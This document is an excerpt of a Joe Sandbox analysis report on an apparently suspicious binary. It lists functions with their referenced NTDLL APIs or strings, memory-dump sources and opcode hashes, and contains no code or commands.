Opcode Fuzzy Hash: 9aca57ac34602bb2a17352230db765b25f110bc5d8b0737040c96c7843789c53
Instruction Fuzzy Hash: 79E0ECA15091647FE7259A5BAC0DEB77F6CDBD67B0B188069B948A2110D274AC08D2B1

Function 00E2B338 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQueryObject.NTDLL(?,?,?,?,?), ref: 00E2B35F

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: ObjectQuery
String ID:
API String ID: 2748340528-0
Opcode ID: c0b1f4ceabf8d5316d579c63af152389e555037ce746a2e23ebc725c1d9cb93d
Instruction ID: bfa67743e8b54dd69ce7144e4f7a52293df048509f112a3883b05c125e686604
Opcode Fuzzy Hash: c0b1f4ceabf8d5316d579c63af152389e555037ce746a2e23ebc725c1d9cb93d
Instruction Fuzzy Hash: 3EE012E21141687EE710975BAC0DEF77F6DEBD6BB1B054119F549B3120D2B0AC04D2B0

Function 00E2B4EC Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtUnlockFile.NTDLL(?,?,?,?,?), ref: 00E2B513

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: FileUnlock
String ID:
API String ID: 45017762-0
Opcode ID: 7c72a0dd868cf8208eb0e8cddb2473b4ec6f893980167f7918a7cc44e12f85a5
Instruction ID: 8a422584e4fc0e26a552a8afd749f6284b19bda3c107e05995a26cf1fb59439e
Opcode Fuzzy Hash: 7c72a0dd868cf8208eb0e8cddb2473b4ec6f893980167f7918a7cc44e12f85a5
Instruction Fuzzy Hash: F7E0ECA15591687EE710575BAC0DDB77F6DDBC67B0B184019B948A61108270AD05D2B0

Function 00E2B43C Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtQueryVolumeInformationFile.NTDLL(?,?,?,?,?), ref: 00E2B463

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: FileInformationQueryVolume
String ID:
API String ID: 634242254-0
Opcode ID: 357ce982f6e8f07f0498a0936519c8c0a6ae563c24a5f4a86d271c6ebd49cb3d
Instruction ID: 8d033518023bab81a769fdc747ee30237b606939e81859753f173fbb3f0b32c7
Opcode Fuzzy Hash: 357ce982f6e8f07f0498a0936519c8c0a6ae563c24a5f4a86d271c6ebd49cb3d
Instruction Fuzzy Hash: 54E0ECA51091687EE614665BAC0DEB77F6DDBD67B0B058059B558B2121D270AD04C2B0

Function 00E2B558 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQuerySection.NTDLL(?,?,?,?,?), ref: 00E2B57F

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: QuerySection
String ID:
API String ID: 1985485932-0
Opcode ID: 80210c60624c2120576cfb6175c0c5b552ff9cc71427d67c0c3a1efc24fd99fc
Instruction ID: 1461a26975b6d20b0a00ce433d25fca7dabfe1e54645b47d08f1b89a4f525917
Opcode Fuzzy Hash: 80210c60624c2120576cfb6175c0c5b552ff9cc71427d67c0c3a1efc24fd99fc
Instruction Fuzzy Hash: EBE08CA11051287E9620579BAC0CEF77F6DEBC27B0B004019F448A2100C270AD08C2B0

Function 00E2B684 Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtQueryInformationFile.NTDLL(?,?,?,?,?), ref: 00E2B6AB

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: FileInformationQuery
String ID:
API String ID: 365787318-0
Opcode ID: ac5944b262f5141767064b60c1d45fe7d047dd4ebb1ffa191333d4a85af597fb
Instruction ID: 897a267d123f8329444c04b6bee89dec4b1f2c9af6ded39fba7f295ef88ba0e3
Opcode Fuzzy Hash: ac5944b262f5141767064b60c1d45fe7d047dd4ebb1ffa191333d4a85af597fb
Instruction Fuzzy Hash: ECE08CA11041247E9620574BEC0CEF77F2CDFC27B0B008029B449B3100C670AC54C2B0

Function 00E2AD60 Relevance: 1.5, APIs: 1, Instructions: 21nativeCOMMON

Download Yara Rule

APIs

NtOpenKeyEx.NTDLL(?,?,?,?), ref: 00E2AD81

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: d104f4385144690c9c88c09e29573a915c364a77aa97de0ba4b52df51d02e5de
Instruction ID: 269e2f9ec3199a6a98d7e50e81cd9b7878365f79a80264e48aa283de41d12135
Opcode Fuzzy Hash: d104f4385144690c9c88c09e29573a915c364a77aa97de0ba4b52df51d02e5de
Instruction Fuzzy Hash: 37D05EA14281687FE60467AAEC0DEF33E5CCBC53A6F444026B185F2580D2B06D00C6B1

Function 00E2B27C Relevance: 1.5, APIs: 1, Instructions: 21nativeCOMMON

Download Yara Rule

APIs

NtSetInformationKey.NTDLL(?,?,?,?), ref: 00E2B29D

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: Information
String ID:
API String ID: 2951059284-0
Opcode ID: 1edce27e42d770c306a88020353069d501c9d0da0ce97ca19042eae91d18e234
Instruction ID: 44fa4d6387392ff95cafb86e0053e702426834919819f615ddf73b424976ec63
Opcode Fuzzy Hash: 1edce27e42d770c306a88020353069d501c9d0da0ce97ca19042eae91d18e234
Instruction Fuzzy Hash: 1BD017E241A224BFE200539AAC0DEFB7B5CCBC57A0B108415B148B201082B06C40C2F0

Function 00D85ED0 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

,, xrefs: 00D86006

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 55d4c1e16313e35e4d968576e2cb798076e5ee82da06531e5f9e49ad1e334645
Instruction ID: 15f2a3d9e193ce12c1c8b6d6b2651e097c584f8fe77211e8d770a79b69e27b25
Opcode Fuzzy Hash: 55d4c1e16313e35e4d968576e2cb798076e5ee82da06531e5f9e49ad1e334645
Instruction Fuzzy Hash: 79B137712097819FD321DF18C88461BFBE0AFA9704F484A2DF5D997782D631E918CBA7

Function 00D9CF70 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

~, xrefs: 00D9D03B

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: ~
API String ID: 0-1707062198
Opcode ID: 30d8307598ec39b8ee71e54dedd01c36215d26624b3958a60541debb8be0660f
Instruction ID: 498581d26ab2de02d3cf12f005016eda940321eb083bae445d97873c2cbfb82a
Opcode Fuzzy Hash: 30d8307598ec39b8ee71e54dedd01c36215d26624b3958a60541debb8be0660f
Instruction Fuzzy Hash: 56812B72A042614FCB25CE28C85139ABBD2AB85324F1DC67DECB99B395C634CC06D7E1

Function 00E2AF54 Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtOpenKey.NTDLL(?,?,?), ref: 00E2AF6B

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 5172a44bc626344dd63d98a80b598edc8e40b7fc4615767b365fb629c9a256bd
Instruction ID: e6dd2c782f81f2df1f4fc47de278c30ccdf2a25d9b3736227827311b7a91a414
Opcode Fuzzy Hash: 5172a44bc626344dd63d98a80b598edc8e40b7fc4615767b365fb629c9a256bd
Instruction Fuzzy Hash: A4C08CC050A2003EFE0543689C0EF772A2EC3C0B02F04514C7480E1054E6740C04E230

Function 00E2B2C4 Relevance: 1.5, APIs: 1, Instructions: 11nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(?,00000000), ref: 00E2B2D9

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 73c05cdcb78b39f8da4ce639987c3b600cbedc1e7d32f3d7c060129b9909b982
Instruction ID: 393570b22249a88ef8df89959fb8b932e5e1dc05f7db8f786355c531f582c541
Opcode Fuzzy Hash: 73c05cdcb78b39f8da4ce639987c3b600cbedc1e7d32f3d7c060129b9909b982
Instruction Fuzzy Hash: D7C04CD050E150BDEE0553795D0CF7725AD87C0705F44908875C4E1061C7344805E220

Function 00E2B53C Relevance: 1.5, APIs: 1, Instructions: 11nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL(00000000), ref: 00E2B551

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 0e6544bf9dd7a90ff331978ce62e079d738ddef77093e4c37d1f6b933081b1fc
Instruction ID: 1e809d035c3ff48849ba759c9b34e96111799e4c71b985e7dfb6c8c8cb91689c
Opcode Fuzzy Hash: 0e6544bf9dd7a90ff331978ce62e079d738ddef77093e4c37d1f6b933081b1fc
Instruction Fuzzy Hash: 32C048D090A2402EEE029BAAAC0CF762A6E87C0B46F049188B094E6064CA346A58D231

Function 00E13FF0 Relevance: 1.5, Strings: 1, Instructions: 259COMMON

Download Yara Rule

Strings

Rijndael: Invalid key size - %d, xrefs: 00E1403F

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: Rijndael: Invalid key size - %d
API String ID: 0-1845578026
Opcode ID: 3ad5f613cc10f5fa8af167a67af593fc100021bf06ed05972cf3ec13e1b6b374
Instruction ID: 8edc7d466d48bc0a0a40fafab1c28b469555aad22ef5adb1d1ca60de61d30280
Opcode Fuzzy Hash: 3ad5f613cc10f5fa8af167a67af593fc100021bf06ed05972cf3ec13e1b6b374
Instruction Fuzzy Hash: B5B1AF74A012899FDB10CFA8C5806EEBBF1FF49304F6554AAD855FB342D231AA86CB51

Function 00ED1434 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

lC, xrefs: 00ED1437

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: lC
API String ID: 0-1735553113
Opcode ID: e3c85e29c536e7354840f92e417552266c5678dbd0490c7e667ae3e088372895
Instruction ID: 4df6a08c0d143717e1707730e20bee773f16a2df84d84c287035950d5d8b3c98
Opcode Fuzzy Hash: e3c85e29c536e7354840f92e417552266c5678dbd0490c7e667ae3e088372895
Instruction Fuzzy Hash: 66B12FB16042008FE748CF19D489B45BBE1BF49318F1680AAD9098F3A7D7BAD985CF95

Function 00EC4958 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

lC, xrefs: 00EC4979

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: lC
API String ID: 0-1735553113
Opcode ID: 8a22c87a425350360e6803ac2b0b4c74781c72e65062c4c8850d99e4c608a384
Instruction ID: 65f3afd7af2382c75c65c066f912ba68407cb27aecca01e7a1660be4fff0f51a
Opcode Fuzzy Hash: 8a22c87a425350360e6803ac2b0b4c74781c72e65062c4c8850d99e4c608a384
Instruction Fuzzy Hash: 55A1F474A002189FDB11DF64CA95B9DB7F5FB49310F1091A6E808AB3A1DB71AE86CF50

Function 00EACF48 Relevance: 1.5, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

ZwQueryKey, unsupported class %d, xrefs: 00EAD727

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: ZwQueryKey, unsupported class %d
API String ID: 0-3838701109
Opcode ID: 9bfab27d8d18d34ae4fcb7fba3b6f711e2c36f9e285060043a762da163f6de3c
Instruction ID: a3ae6483f6616e303e924da038ca9069258237684a9ec480c10c4237887fbbc8
Opcode Fuzzy Hash: 9bfab27d8d18d34ae4fcb7fba3b6f711e2c36f9e285060043a762da163f6de3c
Instruction Fuzzy Hash: 0C811870A042099FDB40EF68CD81AAEB7F5EB89314F65846AB409EB306D734ED41CB71

Function 00E89264 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

f, xrefs: 00E89338

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: 7a71d35c334b9f2ab1c84c8b751dd322f2217ba0c3a19128f649a990bfc4c66c
Instruction ID: bd9ca105922b9982abc6ccf4c1b794093f14d20403e359531550aca396ac83dc
Opcode Fuzzy Hash: 7a71d35c334b9f2ab1c84c8b751dd322f2217ba0c3a19128f649a990bfc4c66c
Instruction Fuzzy Hash: FE61D720D482EA9BDF13AEE85480BFEBFA69F55304F1D61F48CAC73293D1650E068760

Function 00E89600 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

f, xrefs: 00E896D4

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: c12d0dc1ceddfb170b458f2a868403a503cfbb94913510d8ab8549cd158f0856
Instruction ID: 6d307be9e16b09c6058b33aabe43dcc4c515f704f9fe63f869800d78dbc85301
Opcode Fuzzy Hash: c12d0dc1ceddfb170b458f2a868403a503cfbb94913510d8ab8549cd158f0856
Instruction Fuzzy Hash: 7A61B224D582E69EDB13AEB84480BBEBFA69F55308F1D61F5889C73243D6624E05CB60

Function 00E89A40 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

f, xrefs: 00E89B14

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: 58fb8de88eed4d19f3f438e8fd7bbd7ab6f8f2971805965d25a68b41e4fa3ab2
Instruction ID: fcf48f53aaf627257c02b1256504df37ac58c11545f7a021f0947d1ce067fd7a
Opcode Fuzzy Hash: 58fb8de88eed4d19f3f438e8fd7bbd7ab6f8f2971805965d25a68b41e4fa3ab2
Instruction Fuzzy Hash: EA61C220D482EA8ADB13AEA85490BFEFFA69F55304F1D61F4CC9C73243D6664E05C764

Function 00E88268 Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

AuthenticAMD, xrefs: 00E8832C

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
